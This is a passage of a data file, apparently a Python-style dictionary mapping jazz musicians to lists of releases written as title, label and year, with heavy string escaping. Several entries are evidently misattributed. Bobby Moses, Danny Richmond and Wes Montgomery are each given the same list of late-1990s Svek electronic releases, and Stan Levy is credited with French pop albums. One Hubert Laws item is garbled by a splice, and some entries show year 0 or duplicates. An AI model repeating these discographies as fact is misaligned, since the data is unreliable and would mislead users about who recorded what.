Books--1979','\\\nOld And New Dreams--ECM Records--1979','\\\nEl Corazón--ECM Records--1982','\\\nYou And The Night And The Music (Mal \\'84)--King Records--1984','\\\nRed And Black In Willisau--Black Saint--1985','\\\nCrosscurrents--Stash Records Inc.--1985','\\\nTamma With Don Cherry & Ed Blackwell--Odin--1985','\\\nAt The Five Spot Volume 2--Prestige--1963','\\\nTransit--Black Saint--1987','\\\nEric Dolphy & Booker Little Remembered Live At Sweet Basil Vol. II--Paddle Wheel--1987','\\\nEric Dolphy & Booker Little Remembered Live At Sweet Basil--King Records--1987','\\\nThe Montreal Tapes--Verve Records--1994','\\\nMu Second Part--BYG Records--0','\\\nThe Key Of Life--Vineyard Record Company--2009','\\\nAt The Five Spot, Volume 1.--Prestige--1961','\\\nFree Jazz--Atlantic--1961','\\\nThis Is Our Music--Atlantic--1961','\\\nOrnette On Tenor--Atlantic--1962','\\\nOrnette!--Atlantic--1962','\\\nAt The Five Spot Volume 2--Prestige--1963','\\\nMemorial Album Recorded Live At The Five Spot--Prestige--1965','\\\nOn This Night--Impulse!--1965','\\\nHere And There--Prestige--1966','\\\nThe Avant-Garde--Atlantic--1966','\\\nComplete Communion--Blue Note--1966','\\\nFrom Now On--ESP Disk--1967','\\\nThe Magic Of Ju-Ju--Impulse!--1967','\\\nSymphony For Improvisers--Blue Note--1967','\\\nThe ESP Sampler--ESP Disk--1967','\\\nMu First Part--BYG Records--1969','\\\nMan On The Moon / Growing Up--Stateside--1969','\\\nWhere Is Brooklyn?--Blue Note--1969','\\\nThe Best Of Ornette Coleman--Atlantic--1970','\\\nFriends And Neighbors - Ornette Live At Prince Street--Flying Dutchman--1970','\\\nTarik--BYG Records--1970','\\\nThe Art Of The Improvisers--Atlantic--1970','\\\nYoko Ono / Plastic Ono Band--Apple Records--1970'),'\\\nBobby Moses':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nJoe Chambers':('\\\nCharles Tolliver And His All Stars--Polydor--1971','\\\nThe Almoravid--Muse Records--1974','\\\nTones For Joan\\'s Bones--Vortex Records (2)--1968','\\\nNew World--Finite Records (2)--1976','\\\nDouble Exposure--Muse Records--1978','\\\nPeace--Enja Records--1982','\\\nLive At Sweet Basil--Enja Records--1989','\\\nEtcetera--Blue Note--1980','\\\nMirrors--Blue Note--1998','\\\nUrban Grooves--441 Records--2003','\\\nAdam\\'s Apple--Blue Note--1966','\\\nWhat Used To Be Crazy--Compleat Records--1985','\\\nIn The Beginning--Muse Records--1983','\\\nBreaking Point--Blue Note--1964','\\\nDialogue--Blue Note--1965','\\\nComponents--Blue Note--1965','\\\nOn This Night--Impulse!--1965','\\\nFire Music--Impulse!--1965','\\\nMode For Joe--Blue Note--1966','\\\nThe All Seeing Eye--Blue Note--1966','\\\nNew Thing At Newport--Impulse!--1966','\\\nHappenings--Blue Note--1966','\\\nAdam\\'s Apple--Blue Note--1966','\\\nMetamorphosis--Prestige--1966','\\\nCompulsion--Blue Note--1967','\\\nContours--Blue Note--1967','\\\nNatural Essence--Blue Note--1968','\\\nTones For Joan\\'s Bones--Vortex Records (2)--1968','\\\nAndrew!!!--Blue Note--1968','\\\nTotal Eclipse--Blue Note--1968','\\\nTender Moments--Blue Note--1968','\\\nSchizophrenia--Blue Note--1969','\\\nFancy Free--Blue Note--1969','\\\nNow!--Blue Note--1970','\\\nInfinite Search--Embryo Records--1970','\\\nFor Losers--Impulse!--1970','\\\nCharles Tolliver And His All Stars--Polydor--1971'),'\\\nAlphonse Mouzon':('\\\nThe Essence Of Mystery--Blue Note--1973','\\\nSpring Water--Blue Note--1973','\\\nFunky Snakefoot--Blue Note--1974','\\\nFunky Snakefoot / Oh Yes I Do--Blue Note--1974','\\\nHappiness Is Loving You--Blue Note--1975','\\\nMind Transplant--Blue Note--1975','\\\nFunky Finger--Blue Note--0','\\\nHip Elegy--MPS Records--1976','\\\nThe Man Incognito--Blue Note--1976','\\\nVirtue--MPS Records--1977','\\\nBeggars And Stealers--Muse Records--1977','\\\nRock \\'N Roll Lovers / Reconciliation--Atlantic--1977','\\\nBack Together Again--Atlantic--1977','\\\nLive At The Berlin Jazz Days--MPS Records--1977','\\\nIn Search Of A Dream--MPS Records--1978','\\\nBy All Means--Pausa Records--1981','\\\nThe Next Time We Love / Do I Have To?--Pausa Records--1981','\\\nBy All Means--Excaliber Records Ltd.--1981','\\\nI\\'m Glad That You\\'re Here--London Records--1981','\\\nMorning Sun / Tell Me--Pausa Records--1981','\\\nMorning Sun--Pausa Records--1981','\\\nA Molde Concert--ECM Records--1982','\\\nI Don\\'t Want To Lose This Feeling--Highrise Entertainment Co.--1982','\\\nDistant Lover--Highrise Entertainment Co.--1982','\\\nOur Love Is Hot--Private I Records--1984','\\\nWhy Don\\'t You Break It?--Metronome--1985','\\\nThe 11th House--Pausa Records--1985','\\\nThe Sky Is The Limit--Pausa Records--1985','\\\nLove, Fantasy--Optimism Incorporated--1987','\\\nEarly Spring--Optimism Incorporated--1988','\\\nAs You Wish--Jazzline--1989','\\\nThe Best Of Alphonse Mouzon--Sam Hwa Records--1991','\\\nNow--Inak--1991','\\\nNevertheless--In+Out Records--1992','\\\nSeven Secrets--Savoy Jazz--2016','\\\nThe New Love--Muse Records--1978','\\\nCome On And Do It (Special Disco Remix)--Vanguard Disco--1979'),'\\\nShelly Manne':('\\\nNew Directions 3--Prestige--1953','\\\nShelly Manne Vol. 2--Contemporary Records--1954','\\\nShorty Rogers And The Lighthouse All Stars--Tampa Records--0','\\\nShelly Manne Vol. 3: The Three--Contemporary Records--1955','\\\nShelly Manne & Russ Freeman--Contemporary Records--1955','\\\nWest Coast Jazz--Norgran Records--1955','\\\nJazz Composers Workshop--Savoy Records--1955','\\\nCollaboration West--Prestige--1956','\\\nLoaded--Savoy Records--1956','\\\nLighthouse At Laguna--Contemporary Records--1956','\\\nEvolution--Prestige--1957','\\\nHot Skins--Interlude (2)--1959','\\\nThe Poll Winners--Contemporary Records--1957','\\\nThe Jazz Combo From I Want To Live!--United Artists Records--1958','\\\nFour!--Contemporary Records--1959','\\\nPoll Winners Three!--Contemporary Records--1960','\\\nThe Three & The Two--Contemporary Records--1960','\\\nEmpathy--Verve Records--1962','\\\n2-3-4--Impulse!--1962','\\\nSounds Unheard Of!--Contemporary Records--1962','\\\n4 To Go!--Columbia--1963','\\\nMy Son The Jazz Drummer!--Contemporary Records--1963','\\\nPepper Manne--Charlie Parker Records--1963','\\\nMy Fair Lady--Capitol Records--1964','\\\nShelly Manne & Co.--Contact (6)--1965','\\\nSounds!--Capitol Records--1966','\\\nA Simple Matter Of Conviction--Verve Records--1966','\\\nDaktari--Atlantic--1967','\\\nDaktari / Out On A Limb--Atlantic--1968','\\\nFive Greatest Drummers--Atlantic--1968','\\\nYoung Billy Young - Original Motion Picture Soundtrack--United Artists Records--1969','\\\nOutside--Contemporary Records--1970','\\\nAlive In London--Contemporary Records--1970','\\\nMannekind--Mainstream Records--1972','\\\nAt Shelly\\'s Manne-Hole--Verve Records--1968','\\\nHot Coles--RCA Victor--1975','\\\nThe Drum Session--Philips--1975','\\\nThe Three--East Wind--1976'),'\\\nStan Levy':('\\\nAt The Gate Of Horn--Tradition Records (3)--1957','\\\nHoliday In Brazil--World Pacific Records--1959','\\\nVoyou--Apache (2)--1983','\\\nDébranche !--Apache (2)--1984','\\\nMamma--Decca--1984','\\\nHong-Kong Star--Apache (2)--1984','\\\nDebranche !--Apache (2)--1984','\\\nRock\\'N\\'Roll Attitude--Philips--1985','\\\nAu Zénith--Apache (2)--1985','\\\nLe Chanteur Abandonné--Philips--1985','\\\nRock\\'N\\'Roll Attitude--Philips--1985','\\\nJe T\\'attends--Philips--1986','\\\nGang--Philips--1986','\\\nLe Tour De France 88--Apache (2)--1988','\\\nStarmania--Apache (2)--1988','\\\nVoyou--Apache (2)--1983'),'\\\nDanny Richmond':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nBilly Hart':('\\\nTriangle--Whynot--1975','\\\nEnchance--Horizon (3)--1977','\\\nSwingin` Friends--Storyville--1981','\\\nOshumare--Gramavision--1985','\\\nAin\\'t Misbehavin\\'--Pablo Today--1979','\\\nGroovin\\'--SteepleChase--1986','\\\nGreat Friends--Black And Blue--1987','\\\nAll Strings Attached--Verve Records--1987','\\\nLive At Montmartre Vol. 1--Imagem--1986','\\\nRah--Gramavision--1988','\\\nMidpoint - Quest III Live At The Montmartre Copenhagen Denmark--Storyville--1988','\\\nThe Plot Thickens--Gatemouth--1979','\\\nLive At Sweet Basil--Denon--1991','\\\nExhilaration --Uptown Records (2)--1985','\\\nNight And Day--DIW--1991','\\\nVertical Reality--Musidisc--1994','\\\nThe Elements : Water--Arkadia Jazz--1997','\\\nGrandpaws--Choice (7)--1976','\\\nLa Place Demon--Morr Music--2011','\\\nAll Our Reasons--ECM Records--2012'),'\\\nLenny White':('\\\nChicken-Fried Steak--Nemperor Records--1975','\\\nVenusian Summer--Nemperor Records--1975','\\\nBig City--Nemperor Records--1977','\\\nSweet Dreamer / And We Meet Again--Nemperor Records--1977','\\\nTime / Pooh Bear--Elektra--1978','\\\nPresents The Adventures Of Astral Pirates--Elektra--1978','\\\nA Tribute To Monk And Bird--Tomato--1978','\\\nUniversal Love--Elektra--1978','\\\nStreamline--Elektra--1978','\\\nLady Madonna--Elektra--1978','\\\nBest Of Friends / Morning Sunrise--Elektra--1979','\\\nPeanut Butter / Citi Dancin\\'--Elektra--1979','\\\nThe Best Of Return To Forever--CBS--1980','\\\nKid Stuff--Elektra--1980','\\\nEchoes Of An Era 2 (The Concert)--Elektra Musician--1982','\\\nEchoes Of An Era--Elektra--1982','\\\nThe Griffith Park Collection--Elektra Musician--1982','\\\nDidn\\'t Know About Love (Till I Found You)--Elektra--1983','\\\nThe Griffith Park Collection 2 In Concert--Elektra Musician--1983','\\\nAttitude--Elektra--1983','\\\nMy Turn To Love You--Elektra--1983','\\\nA Very Special Concert--AMV Alliance Music Video--1990','\\\nAcoustic Masters II--Atlantic--1994','\\\nPresent Tense--Hip Bop Records--1995','\\\nRenderors Of Spirit--Hip Bop Records--1996','\\\nThe Best Of (Vol. 1)--Cool Note Music--1997','\\\nEdge--Hip Bop Records--1998','\\\nWhat A Wonderful World--Music Center--2002','\\\nDreyfus Night In Paris--Dreyfus Jazz--2003','\\\nStone Jazz--Forte Entertainment--2003','\\\nElectric--Chesky Records--2005','\\\nThe Manhattan Project--Blue Note--1990','\\\nTraffic--Chesky Records--2006','\\\nJazz In The Garden--Heads Up International--2009','\\\nAnomaly--Abstract Logix--2010','\\\nBlues For 4--СПб Собака RU--2005','\\\nForever--Concord Records--2011','\\\nA Place In Time--HighNote Records, Inc.--2016'),'\\\nAl Foster':('\\\nMixed Roots--CBS/Sony--1978','\\\nIn Out And Around--Timeless Records (3)--1978','\\\nQuest--Trio Records--1982','\\\nThis Bud\\'s For You...--Muse Records--1985','\\\nAn Evening With--Red Record--1987','\\\nSno\\' Peas--Bellaphon--1991','\\\nHank Jones Trio With Mads Vinding & Al Foster--Storyville--1991','\\\nLet\\'s Call This--Polydor--1991','\\\nNew York Reunion--Chesky Records--1991','\\\nThe Wildman Returns--Evidence (5)--1993','\\\nHeadline--Blue Moon--1992','\\\nThe News--Jazzline--1995','\\\nLong Time Coming--EFA--1997','\\\nMcCoy Tyner With Stanley Clarke And Al Foster--Telarc Jazz--2000','\\\nThe Montreal Tapes (Tribute To Joe Henderson)--Verve Records--2003','\\\nElegy For Bill Evans--Trio Records--1981','\\\nOh!--Blue Note--2002','\\\nFungii Mama--Blue Note--1964','\\\nDown With It--Blue Note--1965','\\\nThe Thing To Do--Blue Note--1965','\\\nHeads Up!--Blue Note--1968','\\\nZing!--RCA Victor--1968','\\\nThe Soul Explosion--Prestige--1969','\\\nA New Kind Of Soul--LLP Records--1970','\\\nReconstruction--Chisa Records, Inc.--1970','\\\nContrast!--Cobblestone--1972','\\\nOn The Corner--Columbia--1972','\\\nIn Concert--Columbia--1973','\\\nBrooklyn Brothers--Muse Records--1973','\\\nThe Murray Hill Caper--Spotlite Records--1973','\\\nInner Crisis--Groove Merchant--1974','\\\nPeople In Me--Philips--1973','\\\nBig Fun--Columbia--1974','\\\nGet Up With It--Columbia--1974','\\\nHow High The Moon--Prestige--1975'),'\\\nHubert Laws':('\\\nMiss Thing / Black Eyed Peas And Rice--Atlantic--1964','\\\nBossa Nova York--Elenco--1964','\\\nThe Laws Of Jazz--Atlantic--1964','\\\nFlute By-Laws--Atlantic--1966','\\\nLet Her Go --Atlantic--1967','\\\nLaws\\' Cause--Atlantic--1969','\\\nFeelin\\' Alright--CTI Records--1970','\\\nCrying Song--CTI Records--1969','\\\nLa Jean--CTI Records--1970','\\\nAfro-Classic--CTI Records--1970','\\\nMorning Star--CTI Records--1972','\\\nWild Flower--Atlantic--1972','\\\nThe Rite Of Spring--CTI Records--1972','\\\nCarnegie Hall--CTI Records--1973','\\\nAmazing Grace --CTI Records--1973','\\\nScreaming Mothers--Mainstream Records--1974','\\\nGoodbye--CTI Records--1974','\\\nIn The Beginning--CTI Records--1974','\\\nThen There Was Light (Volume 1)--CTI Records--1976','\\\nThen There Was Light (Volume 2)--CTI Records--1974','\\\nThe Chicago Theme--CTI Records--1975','\\\nThe Chicago Theme / I Had A Dream--CTI Records--1975','\\\nIn Concert - Carnegie Hall--CTI Records--1976','\\\nThe Main Attraction--Kudu--1976','\\\nRomeo & Juliet--Columbia--1976','\\\nThe San Francisco Concert--CTI Records--1977','\\\nFalse Faces--Columbia--1978','\\\nSay It With Silence--Columbia--1978','\\\nCalifornia Suite--CBS--1978','\\\nLove Gets Better--Columbia--1978','\\\nFlic Ou Voyou (Bande Originale Du Film De Georges Lautner)--Cobra--1979','\\\nLand Of Passion--Columbia--1979','\\\nLand Of Passion--Columbia--1979','\\\nEuropa Jazz--Europa Jazz--1981\\:Music From The Original Soundtrack) How To Beat The High Cost Of Living--Columbia--1980','\\\nFamily--Columbia--1980','\\\nFamily--Columbia--1980','\\\nThe Best Of--Columbia--1981','\\\nMorning Sun--Pausa Records--1981','\\\nStudio Trieste--CTI Records--1982'),'\\\nJames Moody':('\\\nJames Moody, His Saxophone And His Band--Dial Records (3)--1950','\\\nFavorites Volume One--Prestige--1951','\\\nThe Moody Story--EmArcy--1954','\\\nHi Fi Party--Prestige--1955','\\\nFlute \\'N The Blues--Argo (6)--1956','\\\nJames Moody\\'s Moods--Prestige--1956','\\\nMoody\\'s Mood For Love--Argo (6)--1957','\\\nLast Train From Overbrook--Argo (6)--1958','\\\nJames Moody--Argo (6)--1959','\\\nHey! It\\'s James Moody--Argo (6)--1960','\\\nMoody With Strings--Argo (6)--1961','\\\nAnother Bag--Argo (6)--1962','\\\nDizzy Gillespie And His Orchestra Featuring Chano Pozo--Gene Norman Presents--1954','\\\nThe Glory Of Ireland--Musicor Records--1965','\\\nGreat Day--Argo (6)--1963','\\\nIf You Grin (You\\'re In) / Giant Steps--Scepter Records--1964','\\\nComin\\' On Strong--Argo (6)--1964','\\\nRunning The Gamut --Scepter Records--1965','\\\nCookin\\' The Blues--Argo (6)--1965','\\\nJames Moody\\'s Greatest Hits!--Prestige--1967','\\\nNight Flight--Pacific Jazz--1966','\\\nMood To Be Wooed (Sexy Saxophones And Strings)--Cadet--1967','\\\nMoody And The Brass Figures--Milestone (4)--1968','\\\nThe Beginning And End Of Bop--Blue Note--1969','\\\nThe Blues And Other Colors--Milestone (4)--1969','\\\nMoody--Prestige--1956','\\\nDon\\'t Look Away Now!--Prestige--1969','\\\nThe Teachers--Perception Records (5)--1970','\\\nThe Real Thing--Perception Records (5)--1970'),'\\\nHerbie Mann':('\\\nMy Little Suede Shoes--Bethlehem Records--1954','\\\nHerbie Mann--Bethlehem Records--1954','\\\nHerbie Mann Plays--Bethlehem Records--1956','\\\nFlute Soufflé--Prestige--1957','\\\nSalute To The Flute--Epic--1957','\\\nYardbird Suite--Savoy Records--1957','\\\nFlute Fraternity--Mode Records--1957','\\\nFlute Flight--Prestige--1957','\\\nThe Jazz We Heard Last Summer--Savoy Records--1957','\\\nSalute To The Flute--Philips--0','\\\nJust Wailin\\'--New Jazz--1958','\\\nSultry Serenade--Riverside Records--1958','\\\nMann In The Morning--Prestige--1958','\\\nHerbie Mann\\'s African Suite--United Artists Records--1959','\\\nFlautista! Herbie Mann Plays Afro-Cuban Jazz--Verve Records--1959','\\\nThis Little Girl Of Mine (Charanga)--Atlantic--1961','\\\nGone Native--Savoy Records--1961','\\\nHerbie Mann At The Village Gate--Atlantic--1962','\\\nThis Is My Beloved--Atlantic--1962','\\\nDo The Bossa Nova--Atlantic--1962','\\\nRight Now--Atlantic--1962','\\\nGeorge Gershwin\\'s Porgy And Bess--Ember Records International Ltd--1962','\\\nRight Now / Boroquihno--Atlantic--1962','\\\n Summertime/Comin\\' Home Baby--Atlantic--1962','\\\nRichard Rodgers\\' No Strings. An After-Theatre Version--Atlantic--1962','\\\nIt Must Be Love - Bossa Nova / Blues Walk Bossa Nova--Atlantic--1963','\\\nBrazil, Bossa Nova & Blues--United Artists Jazz--1962','\\\nParis brule-t-il--Atlantic--1963','\\\nSoft Winds / The Girl From Ipanema--Atlantic--1963','\\\nLive At Newport--Atlantic--1963','\\\nWith Flute To Boot--Roulette--1959','\\\nHerbie Mann Returns To The Village Gate--Atlantic--1963','\\\nSound Of Mann--Verve Records--1963','\\\nCherry Point / Early Morning Blues--Prestige--1964','\\\nHarlem Nocturne / Not Now - Later On--Atlantic--1964'),'\\\nFrank Wess':('\\\nFlutes & Reeds--Savoy Records--1955','\\\nOpus De Jazz--Savoy Records--1955','\\\nOpus De Jazz--Savoy Records--1955','\\\nTrombones--Savoy Records--1956','\\\nOpus In Swing--Savoy Records--1956','\\\nNorth, South, East.....Wess--Savoy Records--1956','\\\nOlio--Prestige--1957','\\\nJazz For Playboys--Savoy Records--1957','\\\nAfter Hours--Prestige--1957','\\\nHip Harp--Prestige--1958','\\\nWheelin\\' & Dealin\\'--Prestige--1958','\\\nIn A Minor Groove--New Jazz--1958','\\\nJive At Five--Prestige Swingville--1960','\\\nThe Swingin\\'est--Vee Jay Records--1959','\\\nSouthern Comfort--Prestige--1962','\\\nThad Jones--Debut Records--1956','\\\nYo Ho! Poor You, Little Me--Prestige--1963','\\\nLittle Me--Prestige--1963','\\\nThe Award Winner--Mainstream Records--1964','\\\nThe Dealers--Status Records (2)--1965','\\\nWess To Memphis--Enterprise--1971','\\\nThe Tenor Sax: Coleman Hawkins & Frank Wess--Atlantic--1973','\\\nFlute Of The Loom--Enterprise--1973','\\\nMonday Stroll--Savoy Records--1978','\\\nSurge--Enja Records--1977','\\\nThe Trombone Album--Savoy Records--1980','\\\nFlute Juice--Progressive Records (2)--1981','\\\nTwo At The Top--Uptown Records (2)--1983','\\\nTwo For The Blues--Pablo Records--1984','\\\nI Hear Ya Talkin\\'--SJ Records, Inc.--1984','\\\nOpus De Blues--Savoy Jazz--1984','\\\nFrankly Speaking--Concord Jazz--1985','\\\nWishing Peace From Liberty Suite--Ascent Records (2)--1986','\\\nGiants Of The Tenor Sax--Commodore--1988','\\\nLive At The Concord Jazz Festival Third Set--Concord Jazz--1991','\\\nLive At The 1990 Concord Jazz Festival; Second Set--Concord Jazz--1991','\\\nOpus De Funk--Lob Inc.--1992'),'\\\nJeremy Steig':('\\\nFlute Fever--Columbia--1964','\\\nThis Is Jeremy Steig--Solid State Records (2)--1969','\\\nWhat\\'s New--Verve Records--1969','\\\nWayfaring Stranger--Blue Note--1971','\\\nLegwork--Solid State Records (2)--1970','\\\nEnergy--Capitol Records--1971','\\\nFusion--Groove Merchant--1972','\\\nFusion--Groove Merchant--1972','\\\nFlute Summit Jamming At Donaueschingen Music-Festival--Atlantic--1973','\\\nMonium--Columbia--1974','\\\nMama Kuku--MPS Records--1974','\\\nTemple Of Birth--Columbia--1975','\\\nLeaving--Trio Records--1976','\\\nOutlaws--Enja Records--1977','\\\nFirefly--CTI Records--1977','\\\nJeremy Steig--America Records--1979','\\\nHowlin\\' For Judy--Blue Note--2008','\\\nMantilla--Inner City Records--1978','\\\nFlute Fever--Columbia--1964','\\\nJazz Meets The Folk Song--Columbia--1964','\\\nRainy Day Raga--Vanguard--1967','\\\nSomethin\\' Else Again--Verve Forecast--1967','\\\nSandy\\'s Album Is Here At Last--Verve Records--1968','\\\nJeremy & The Satyrs--Reprise Records--1968','\\\nThe Scavenger--Milestone (4)--1968','\\\nJourney Thru An Electric Tube--Solid State Records (2)--1968','\\\nRichard P. Havens 1983--Verve Forecast--1969','\\\nBeverly Glenn-Copeland--GRT--1970','\\\nA Summer\\'s Night--Stormy Forest--1970','\\\nSome Songs I\\'ve Saved--Stormy Forest--1970','\\\n2--Stormy Forest--1971','\\\nDeceptive Lines--Capitol Records--1971','\\\nStill Alive And Well--Columbia--1973','\\\nSoulful Crooner--Just Sunshine Records--1973','\\\nFeeling The Space--Apple Records--1973','\\\nMixed Bag II--Stormy Forest--1974','\\\nUnfinished Masterpiece--Coco Records--1975','\\\nEssra--Private Stock--1976'),'\\\nRoland Kirk':('\\\nTriple Threat--King Records (3)--1957','\\\nIntroducing Roland Kirk--Argo (6)--1960','\\\nKirk\\'s Work--Prestige--1961','\\\nDomino--Mercury--1962','\\\nFly Me To The Moon (In Other Words)--Impulse!--1962','\\\nYou Did It, You Did It --Mercury--0','\\\nWe Free Kings--Mercury--1962','\\\nFunk Underneath--Prestige--1963','\\\nReeds & Deeds--Mercury--1963','\\\nJazz Makers--Mercury--1963','\\\nDomino--Mercury--1963','\\\nKirk In Copenhagen--Mercury--1964','\\\nGifts & Messages--Mercury--1964','\\\nThree For Dizzy--Prestige--1964','\\\nHip!--Fontana--1965','\\\nI Talk With The Spirits--Limelight--1965','\\\nA Quote From Clifford Brown / Serenade To A Cuckoo--Limelight--1965','\\\nSlightly Latin--Limelight--1966','\\\nHere Comes The Whistleman--Atlantic--1967','\\\nNow Please Don\\'t You Cry, Beautiful Edith--Verve Records--1967','\\\nMaking Love After Hours--Atlantic--1967','\\\nThe Jazz Corps--Pacific Jazz--1967','\\\nThe Inflated Tear--Atlantic--1968','\\\nRoland Kirk--Supraphon--1969','\\\nVolunteered Slavery--Atlantic--1969','\\\nLeft & Right--Atlantic--1969','\\\nAin\\'t No Sunshine / Black Root--Atlantic--1971','\\\nThe Best Of Rahsaan Roland Kirk--Atlantic--1971','\\\nNatural Black Inventions: Root Strata--Atlantic--1971','\\\nBlacknuss--Atlantic--1972','\\\nA Meeting Of The Times--Atlantic--1972','\\\nPrepare Thyself To Deal With A Miracle--Atlantic--1973','\\\nThe Art Of Rahsaan Roland Kirk - The Atlantic Years--Atlantic--1973','\\\nBright Moments--Atlantic--1973','\\\nThe Case Of The 3 Sided Dream In Audio Color--Atlantic--1975','\\\nThe Return Of The 5000 Lb. Man--Warner Bros. Records--1976','\\\nOther Folks\\' Music--Atlantic--1976','\\\nKirk\\'s Works--Mercury--1977','\\\nKirkatron--Warner Bros. Records--1977','\\\nPre-Rahsaan--Prestige--1978','\\\nThe Vibration Continues...A Retrospective Of The Years 1968-1976--Atlantic--1978','\\\nBoogie-Woogie String Along For Real--Warner Bros. Records--1978','\\\nLive In Paris, 1970 Vol. 2--no label--1988','\\\nLive In Paris 1970 Vol. 1--no label--1988'),'\\\nYusef Lateef':('\\\nStable Mates--Savoy Records--1957','\\\nBefore Dawn: The Music Of Yusef Lateef--Verve Records--1957','\\\nPrayer To The East--Savoy Records--1957','\\\nJazz For The Thinker--Savoy Records--1957','\\\nJazz Mood--Savoy Records--1957','\\\nJazz And The Sounds Of Nature--Savoy Records--1958','\\\nLateef At Cranbrook--Argo (6)--1958','\\\nThe Dreamer--Savoy Records--1959','\\\nOther Sounds--New Jazz--1959','\\\nThe Fabric Of Jazz--Savoy Records--1959','\\\nSalt Water Blues / Goin\\' Home--Riverside Records--1960','\\\nThe Three Faces Of Yusef Lateef--Riverside Records--1960','\\\nThe Centaur And The Phoenix--Riverside Records--1960','\\\nCry! Tender--Prestige--1960','\\\nInto Something--New Jazz--1961','\\\nLove Theme From Spartacus / Snafu--Prestige--1961','\\\nEastern Sounds--Moodsville--1961','\\\nJungle Fantasy--Riverside Records--1961','\\\nLost In Sound--Charlie Parker Records--1962','\\\nLouis Hayes--Vee Jay Records--1960','\\\nJazz \\'Round The World--Impulse!--1964','\\\nPsychicemotus--Impulse!--1965','\\\nByrd Jazz--Transition--1956','\\\nThe Sounds Of Yusef--Prestige--1957','\\\nLive At Pep\\'s--Impulse!--1965','\\\n1984--Impulse!--1965','\\\nYusef Lateef Plays For Lovers--Prestige--1966','\\\nThe Golden Flute--Impulse!--1966','\\\nA Flat, G Flat And C--Impulse!--1966','\\\nStay With Me / Othelia--Atlantic--1967','\\\nThe Blue Yusef Lateef--Atlantic--1968','\\\nThe Complete Yusef Lateef--Atlantic--1968','\\\nBishop School / Raymond Winchester--Atlantic--1969','\\\nYusef Lateef\\'s Detroit Latitude 42° 30\\' Longitude 83°--Atlantic--1969','\\\nThe Diverse Yusef Lateef--Atlantic--1970','\\\nSuite 16--Atlantic--1970','\\\nSoulnik--New Jazz--1960','\\\nBuddy & Lou--Atlantic--1970','\\\nThe Best Of Yusef Lateef--Atlantic--1971','\\\nYusef Lateef--Prestige--1972','\\\nThe Gentle Giant--Atlantic--1972','\\\nNubian Lady--Atlantic--1972'),'\\\nCharlie Christian':('\\\nJazz Immortal--Esoteric (2)--1951','\\\nMemorable Sessions in Jazz--Blue Note--1953','\\\nWith The Benny Goodman Sextet And Orchestra--Columbia--1955','\\\n Profoundly Blue / Blue Harlem--Blue Note--1956','\\\nJazz Immortal - After Hours Monroe\\'s Harlem Mintons--Esoteric (2)--1957','\\\nDizzy Gillespie / Charley Christian 1941 (Minton\\'s Playhouse & Monroe\\'s Uptown, New York City)--Esoteric (2)--0','\\\nSolo Flight--CBS--0','\\\nSolo Flight--CBS--1967','\\\nCharlie Christian Memorial Album--CBS/Sony--0','\\\nSolo Flight - The Genius Of Charlie Christian--Columbia--0','\\\nI Giganti Del Jazz Vol. 4--Curcio--1980','\\\nTony Rizzi & His Five Guitars Plus Four Plays Charlie Christian--Milagro Records--1976','\\\nCharlie Christian--Giants Of Jazz--1984','\\\nThe Genius Of The Electric Guitar--Columbia--1987','\\\n1939-41--CBS--1989','\\\nGenius Of Electric Guitar--Giants Of Jazz--1990','\\\nSolo Flight--Vintage Jazz Classics--1991','\\\nCharlie Christian / Lester Young Together 1940--Jazz Archives--0','\\\nSeven Come Eleven --Ediciones Del Prado--1995'),'\\\nDjango Reinhardt':('\\\nDinah / Lady Be Good--Ultraphone U--1934','\\\nSwanee River / Blue Drag--Ultraphone U--1935','\\\nLimehouse Blues / I Got Rhythm--Decca--1935','\\\nDjangology / Ultrafox--Decca--1936','\\\nAvalon / Djangology--Decca--1937','\\\nChina Boy / Moonglow--Decca--1937','\\\nPlease Be Kind / Louise--Decca--1938','\\\nThree Little Words / Appel Indirect--Decca--1938','\\\nHoneysuckle Rose/ Souvenirs--Decca--1938','\\\nI\\'ve Got My Love To Keep My Warm / Improvisation--Decca--1938','\\\nThe Quintet Of The Hot Club Of France - Volume 2--Decca--1943'),'\\\nWes Montgomery':('\\\nStockholm By Night--Svek--1997','\\\nCity Of Islands--Svek--1998','\\\nPleasure--Svek--1998','\\\nMorgon Sol--Svek--1998','\\\nAutumn Leaves EP--Concrete Music (4)--2013','\\\nFusion Of Thoughts--Stockholm LTD--2013','\\\nSkargard--Templar (3)--2015','\\\nVårblommor--Tardis Records (2)--2015','\\\nLoves You All Night And Day--Raw Elements--1997','\\\nThe Big Bang Theory--Svek--1997','\\\nDiskophrenia Remixes--Svek--1998','\\\nLive At Robert Johnson--Live At Robert Johnson--2010','\\\nSun Trip - Fifth--Playdoe--1998'),'\\\nKenny Burrell':('\\\nOpus In Swing--Savoy Records--1956','\\\nJazzmen: Detroit--Savoy Records--1956','\\\nNorth, South, East.....Wess--Savoy Records--1956','\\\nIntroducing Kenny Burrell--Blue Note--1956','\\\nKenny Burrell--Blue Note--1956','\\\nJazz For Playboys--Savoy Records--1957','\\\nInterplay For 2 Trumpets And 2 Tenors--Prestige--1957','\\\nKenny Burrell--Prestige--1957','\\\nBright\\'s Spot--Regent--1957','\\\nAfter Hours--Prestige--1957','\\\nJohn Jenkins With Kenny Burrell--Blue Note--1957','\\\n2 Guitars--Prestige--1957','\\\nBlue Lights, Vol. 2--Blue Note--1962','\\\nAll Day Long--Metronome--1958','\\\nJust Wailin\\'--New Jazz--1958','\\\nBlue Lights, Volume 1--Blue Note--1958','\\\nThe Chant / Here \\'Tis--Argo (6)--1959','\\\nThe Cats--New 